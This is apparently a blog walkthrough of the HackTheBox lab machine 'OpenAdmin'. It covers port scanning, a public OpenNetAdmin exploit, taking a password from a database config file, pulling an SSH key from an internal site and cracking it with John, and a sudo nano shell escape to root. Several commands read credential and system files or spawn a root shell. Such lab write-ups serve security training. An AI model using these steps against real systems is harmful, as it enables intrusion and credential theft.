Summary -

OpenAdmin from HackTheBox is an easy-rated machine which involves an exploit for OpenNetAdmin to get a foothold on the machine. There are 2 users on the box Jimmy and Joanna . We get the password for Jimmy via database config file & then ssh as Jimmy, then on enumerating we find an internal application running.Doing a simple curl command reveals id_rsa key of Joanna. We then crack the password of the id_rsa file and ssh into the machine as Joanna. For root, we find that we have sudo privileges over nano . We refer sudo entry for nano on gtfobins & we easily escalate our privileges as root!

Enumeration -

Nmap

# Nmap 7.91 scan initiated Tue Jul  6 14:02:13 2021 as: nmap -sC -sV -p 22,80 -v -oN openadmin.nmap 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.46s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  6 14:02:42 2021 -- 1 IP address (1 host up) scanned in 28.86 seconds

As you can see there are 2 ports open :

Port 22 - SSH - OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

Port 80 - HTTP - Apache httpd 2.4.29

Web Enumeration

At port 80 we find default page of apache

Lets do some directory bruteforcing. Dirsearch reveals the following directories

/music
/artwork
/sierra

On visiting the /music directory It gives us this page This login button takes us to http://openadmin.htb/ona .On visiting,we get a page like this

From the above , we could identify that the software is OpenNetAdmin and the version is v18.1.1

Foothold -

We use searchsploit to find any publicly available exploits for OpenNetAdmin - v18.1.1 ,& we find this

Lets mirror it to our current directory

Lets run the exploit

And we are www-data user

There are 2 users on the machine Jimmy and Joanna

 cat /etc/passwd | grep -i "bash"

Shell as Jimmy -

On enumerating the current directory we find a database config file which contains a password !

cat local/config/database_settings.inc.php | grep -i "pass"

We are not sure which user's password is this , so first we try to ssh into the machine as Jimmy & we're logged in !

Running id command we see that we are part of internal group .Lets keep that in mind and move ahead & enumerate further .. We run a find command to check for files which jimmy owns

 find / -user jimmy 2>/dev/null

HMM..INTERESTING ! Lets check that /var/www/internal/ directory

Seems like there is an internal website running here 🧐 .We can verify it by running

netstat -tulpn

Shell as Joanna -

Lets check that internal website running at port 52486 by using curl command

 curl localhost:52846/main.php

Voila we get an encrypted id_rsa key !! Lets crack it and ssh in as Joanna !

Run ssh2john against id_rsa file to obtain a hash and crack it using John -

 /usr/share/john/ssh2john.py --wordlist=/usr/share/wordlists/rockyou.txt id_rsa >> hash

 john --wordlists=/usr/share/wordlists/rockyou.txt hash

We get Joanna's password !Lets try ssh into the box as Joanna

Grab the user.txt🚩

Shell as Root -

Running sudo -l we find we could run nano on /opt/priv directory

So we check GTFOBINS for any sudo entry for nano

sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0

Run the above commands to get a root shell Grab the root.txt 🚩 😎